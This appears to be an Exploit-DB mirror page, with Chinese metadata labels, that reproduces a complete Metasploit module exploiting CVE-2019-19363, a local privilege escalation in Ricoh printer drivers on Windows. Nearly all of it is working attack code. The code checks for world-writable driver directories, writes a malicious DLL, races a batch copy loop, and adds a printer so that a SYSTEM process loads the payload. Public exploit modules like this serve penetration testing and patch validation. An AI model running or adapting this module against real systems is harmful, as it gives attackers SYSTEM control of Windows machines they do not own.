Ricoh Driver – Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2020-02-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48036/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core/exploit/exe'
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = NormalRanking
    
    include Msf::Post::File
    include Msf::Exploit::EXE
    include Msf::Post::Windows::Priv
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Ricoh Driver Privilege Escalation',
    'Description'=> %q(
    Various Ricoh printer drivers allow escalation of
    privileges on Windows systems.
    
    For vulnerable drivers, a low-privileged user can
    read/write files within the `RICOH_DRV` directory
    and its subdirectories.
    
    `PrintIsolationHost.exe`, a Windows process running
    as NT AUTHORITY\SYSTEM, loads driver-specific DLLs
    during the installation of a printer. A user can
    elevate to SYSTEM by writing a malicious DLL to
    the vulnerable driver directory and adding a new
    printer with a vulnerable driver.
    
    This module leverages the `prnmngr.vbs` script
    to add and delete printers. Multiple runs of this
    module may be required given successful exploitation
    is time-sensitive.
    ),
    'License'=> MSF_LICENSE,
    'Author' => [
    'Alexander Pudwill',# discovery & PoC
    'Pentagrid AG', # PoC
    'Shelby Pace' # msf module
    ],
    'References' =>
    [
    [ 'CVE', '2019-19363'],
    [ 'URL', 'https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/']
    ],
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Platform' => 'win',
    'Payload'=>
    {
    },
    'SessionTypes' => [ 'meterpreter' ],
    'Targets'=>
    [[
    'Windows', { 'Arch'=> [ ARCH_X86, ARCH_X64 ] }
    ]],
    'Notes'=>
    {
    'SideEffects' =>[ ARTIFACTS_ON_DISK ],
    'Reliability' =>[ UNRELIABLE_SESSION ],
    'Stability' =>[ SERVICE_RESOURCE_LOSS ]
    },
    'DisclosureDate' => "Jan 22 2020",
    'DefaultTarget'=> 0
    ))
    
    self.needs_cleanup = true
    
    register_advanced_options([
    OptBool.new('ForceExploit', [ false, 'Override check result', false ])
    ])
    end
    
    def check
    dir_name = "C:\\ProgramData\\RICOH_DRV"
    
    return CheckCode::Safe('No Ricoh driver directory found') unless directory?(dir_name)
    driver_names = dir(dir_name)
    
    return CheckCode::Detected("Detected Ricoh driver directory, but no installed drivers") unless driver_names.length
    
    vulnerable = false
    driver_names.each do |driver_name|
    full_path = "#{dir_name}\\#{driver_name}\\_common\\dlz"
    next unless directory?(full_path)
    @driver_path = full_path
    
    res = cmd_exec("icacls \"#{@driver_path}\"")
    next unless res.include?('Everyone:')
    next unless res.match(/\(F\)/)
    
    vulnerable = true
    break
    end
    
    return CheckCode::Detected('Ricoh driver directory does not have full permissions') unless vulnerable
    
    vprint_status("Vulnerable driver directory: #{@driver_path}")
    CheckCode::Appears('Ricoh driver directory has full permissions')
    end
    
    def add_printer(driver_name)
    fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)
    
    dll_data = generate_payload_dll
    dll_path = "#{@driver_path}\\headerfooter.dll"
    
    temp_path = expand_path('%TEMP%\\headerfooter.dll')
    vprint_status("Writing dll to #{temp_path}")
    
    bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")
    cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""
    bat_file = <<~HEREDOC
    :repeat
    #{cp_cmd} && goto :repeat
    HEREDOC
    
    write_file(bat_file_path, bat_file)
    write_file(temp_path, dll_data)
    register_files_for_cleanup(bat_file_path, temp_path)
    
    script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""
    bat_cmd = "cmd.exe /c \"#{bat_file_path}\""
    print_status("Adding printer #{@printer_name}...")
    client.sys.process.execute(script_cmd, nil, { 'Hidden' => true })
    vprint_status("Executing script...")
    cmd_exec(bat_cmd)
    rescue Rex::Post::Meterpreter::RequestError => e
    e_log("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    end
    
    def exploit
    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
    
    fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'
    
    if sysinfo['Architecture'] != payload.arch.first
    fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')
    end
    
    @driver_path = ''
    unless check == CheckCode::Appears || datastore['ForceExploit']
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override')
    end
    
    @printer_name = Rex::Text.rand_text_alpha(5..9)
    @script_path = "C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs"
    drvr_name = @driver_path.split('\\')
    drvr_name_idx = drvr_name.index('RICOH_DRV') + 1
    drvr_name = drvr_name[drvr_name_idx]
    
    add_printer(drvr_name)
    end
    
    def cleanup
    print_status("Deleting printer #{@printer_name}")
    Rex.sleep(3)
    delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
    client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })
    end
    end